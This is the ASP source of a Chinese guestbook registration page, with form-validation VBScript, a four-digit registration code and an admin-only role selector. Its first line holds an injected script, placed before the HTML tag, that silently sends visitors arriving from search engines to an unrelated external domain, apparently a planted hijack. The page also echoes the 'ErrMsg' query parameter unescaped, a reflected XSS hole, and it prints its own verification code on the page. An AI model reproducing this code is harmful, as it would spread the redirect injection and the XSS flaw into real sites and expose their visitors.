d:\wwwroot\wuchunhua\liuyan\register.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><html>
002:
<head>
003:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
004:
<title>填写注册信息</title>
005:
<style type="text/css">
006:
<!--
007:
.style2 {
008:
font-family: Verdana, Arial, Helvetica, sans-serif;
009:
font-size: 14px;
010:
}
011:
.style3 {
012:
font-family: Verdana, Arial, Helvetica, sans-serif;
013:
font-size: 14px;
014:
color:#FF0000
015:
}
016:
-->
017:
</style>
018:
</head>
019:
<script language="vbscript">
020:
<!--
021:
'检查用户名格式是否正确
022:
Function CheckUserName(uname)
023:
CheckUserName = TRUE
024:
Dim count
025:
Dim sstr(15)
026:
Dim lUserName
027:
Dim AscValue
028:
lUserName = LCase(uname)
029:
030:
'提取每一个字符,存储到数组中
031:
count = Len(lUserName)
032:
For i=1 To count
033:
sstr(i) = Mid(lUserName,i,1)
034:
Next
035:
036:
'依次检验每个字符,必须为字母、数字、或者下划线
037:
For i=1 To count
038:
AscValue = Asc(sstr(i))
039:
If (AscValue < 97 OR AscValue > 122) AND (AscValue < 48 OR AscValue > 57) AND AscValue <> 95 Then
040:
CheckUserName = FALSE
041:
Exit For
042:
End If
043:
Next
044:
045:
End Function
046:
047:
'检查密码格式是否正确
048:
Function CheckPass(upass)
049:
CheckPass = TRUE
050:
Dim count
051:
Dim sstr(15)
052:
Dim lupass
053:
Dim AscValue
054:
lupass = LCase(upass)
055:
056:
'提取每一个字符,存储到数组中
057:
count = Len(lupass)
058:
For i=1 To count
059:
sstr(i) = Mid(lupass,i,1)
060:
Next
061:
062:
'依次检验每个字符,必须为字母或者数字
063:
For i=1 To count
064:
AscValue = Asc(sstr(i))
065:
if (AscValue < 97 OR AscValue > 122) AND (AscValue < 48 OR AscValue > 57) Then
066:
CheckPass = FALSE
067:
Exit For
068:
End If
069:
Next
070:
071:
End Function
072:
073:
'表单数据校验函数
074:
Sub CheckData()
075:
'用户名字段不能为空
076:
If form1.name.value = EMPTY Then
077:
Window.Alert "请填写用户帐号"
078:
Exit Sub
079:
End If
080:
081:
'用户帐号不可以超过 15 个字符
082:
If Len(form1.name.value) >15 Then
083:
Window.Alert "用户帐号不可以超过 15 个字符"
084:
Exit Sub
085:
End If
086:
087:
'用户帐号格式必须正确
088:
If NOT(CheckUserName(form1.name.value)) Then
089:
Window.Alert "用户帐号应该由英文字母,数字或下划线组成"
090:
Exit Sub
091:
End If
092:
093:
'密码不能为空
094:
If form1.passwd.value = EMPTY Then
095:
Window.Alert "请填写用户密码"
096:
Exit Sub
097:
End If
098:
099:
'密码不可以超过 15 个字符
100:
If Len(form1.passwd.value) > 15 Then
101:
Window.Alert "用户密码不可以超过 15 个字符."
102:
Exit Sub
103:
End If
104:
105:
'密码格式必须正确
106:
If NOT(CheckPass(form1.passwd.value)) Then
107:
Window.Alert "用户密码应该由英文字母或数字组成"
108:
Exit Sub
109:
End If
110:
111:
'密码确认字段不能为空
112:
If form1.passwd2.value = EMPTY Then
113:
Window.Alert "请填写密码确认字段"
114:
Exit Sub
115:
End If
116:
117:
'两次密码输入必须一致
118:
If form1.passwd.value <> form1.passwd2.value Then
119:
Window.Alert "“密码确认”字段与“用户密码”字段一定要相同"
120:
Exit Sub
121:
End If
122:
123:
'验证码不能为空
124:
If form1.RegCode.value = EMPTY Then
125:
Window.Alert "请填写验证码"
126:
Exit Sub
127:
End If
128:
129:
'真实姓名必填
130:
If form1.realname.value = EMPTY Then
131:
Window.Alert "请填写真实姓名"
132:
Exit Sub
133:
End If
134:
135:
'EMail必填
136:
If form1.Email.value = EMPTY Then
137:
window.alert "请填写E-mail地址"
138:
Exit Sub
139:
End If
140:
141:
'必须输入格式正确的EMail地址
142:
If InStr(form1.Email.value,"@") = 0 Then
143:
window.alert "请输入正确的E-mail地址"
144:
Exit Sub
145:
End If
146:
147:
'检验正确,提交表单
148:
form1.Submit
149:
150:
End Sub
151:
-->
152:
</script>
153:
<body>
154:
<%
155:
'生成字符串形式的校验码
156:
Dim strCode, IntCode(3)
157:
Dim i
158:
i = 0
159:
Do While i < 4
160:
Randomize
161:
IntCode(i) = Int(Rnd() * 10)
162:
i = i + 1
163:
Loop
164:
165:
strCode = CStr(IntCode(0)) + CStr(IntCode(1)) + CStr(IntCode(2)) + CStr(IntCode(3))
166:
167:
'将校验码写入Session
168:
Session("RegCode") = strCode
169:
%
>
170:
<form name="form1" action="addmember.asp" method="post">
171:
<table width="600" border="0" align="center">
172:
<tr>
173:
<td><table width="100%" border="2" bordercolor="#6666FF">
174:
<tr>
175:
<td colspan="2"><div align="center" class="style2">
176:
以下为必填内容</div>
177:
<%
178:
'错误信息处理
179:
If Request.QueryString("ErrMsg") <> EMPTY Then
180:
Response.Write "<br>"
181:
Response.Write "<div align=""center"" class=""style3"">"
182:
Response.Write(Request.QueryString("ErrMsg"))
183:
Response.Write "</div>"
184:
End If
185:
%
></td>
186:
</tr>
187:
<tr>
188:
<td width="21%" bgcolor="#FFFFFF"><div align="left" class="style2">用户帐号:</div></td>
189:
<td width="79%" bgcolor="#FFFFFF"><input name="name" type="text" id="name" size="18" maxlength="16">
190:
<span class="style2">(字母,数字,下划线,16位以下,用户标识)</span></td>
191:
</tr>
192:
<tr>
193:
<td bgcolor="#FFFFFF"><div align="left" class="style2">用户密码:</div></td>
194:
<td bgcolor="#FFFFFF"><input name="passwd" type="password" id="passwd" size="19" maxlength="16">
195:
<span class="style2">(字母,数字,16位以下)</span></td>
196:
</tr>
197:
<tr>
198:
<td bgcolor="#FFFFFF">密码确认:</td>
199:
<td bgcolor="#FFFFFF"><input name="passwd2" type="password" id="passwd2" size="19" maxlength="16">
200:
<span class="style2">(再输入一次密码)</span></td>
201:
</tr>
202:
<tr>
203:
<td bgcolor="#FFFFFF">四位验证码:</td>
204:
<td bgcolor="#FFFFFF"><input name="RegCode" type="text" id="RegCode" size="18" maxlength="16"> <span class="style3">(
<%
Response.Write(Session("RegCode"))
%
>)
205:
</span></td>
206:
</tr>
207:
<tr>
208:
<td bgcolor="#FFFFFF"><span class="style2">真实姓名</span>:</td>
209:
<td bgcolor="#FFFFFF"><input name="realname" type="text" id="realname" size="10" maxlength="10">
210:
<span class="style2">(请输入您的真实姓名)</span></td>
211:
</tr>
212:
<tr>
213:
<td bgcolor="#FFFFFF" class="style2">电子邮件:</td>
214:
<td bgcolor="#FFFFFF"><input name="Email" type="text" id="Email" size="30"></td>
215:
</tr>
216:
<tr>
217:
<td bgcolor="#FFFFFF" class="style2">主页地址:</td>
218:
<td bgcolor="#FFFFFF"><input name="Url" type="text" id="Url" size="30"></td>
219:
</tr>
220:
<%
221:
If Session("IsPassed") = TRUE AND Session("IsAdmin") = TRUE AND Session("Class") = "1" Then
222:
%
>
223:
<tr>
224:
<td bgcolor="#FFFFFF" class="style2">用户权限:</td>
225:
<td bgcolor="#FFFFFF" class="style2"><input type="radio" name="Authority" value="2">管理员
226:
<input type="radio" name="Authority" value="9" checked>普通会员</td>
227:
</tr>
228:
<%
229:
End If
230:
%
>
231:
</table>
232:
</td>
233:
</tr>
234:
<tr>
235:
<td><table width="100%" border="2" bordercolor="#6666FF">
236:
<tr bgcolor="#FFFFFF">
237:
<td colspan="2" class="style2"><div align="center">以下为选填内容</div></td>
238:
</tr>
239:
<tr>
240:
<td bgcolor="#FFFFFF"><span class="style2">自我介绍</span>:</td>
241:
<td bgcolor="#FFFFFF"><textarea name="Comment" cols="50" rows="6" id="Comment">
242:
</textarea></td>
243:
</tr>
244:
</table>
245:
</td>
246:
</tr>
247:
<tr>
248:
<td><table width="60%" border="0" align="center" cellspacing="20">
249:
<tr>
250:
<td><div align="right">
251:
<input name="BtnSubmit" type="button" value="提交" onClick="CheckData">
252:
</div>
253:
</td>
254:
<td><input name="BtnReset" type="reset" value="重置"></td>
255:
</tr>
256:
</table></td>
257:
</tr>
258:
</table>
259:
</form>
260:
</body>
261:
</html>
262:
263: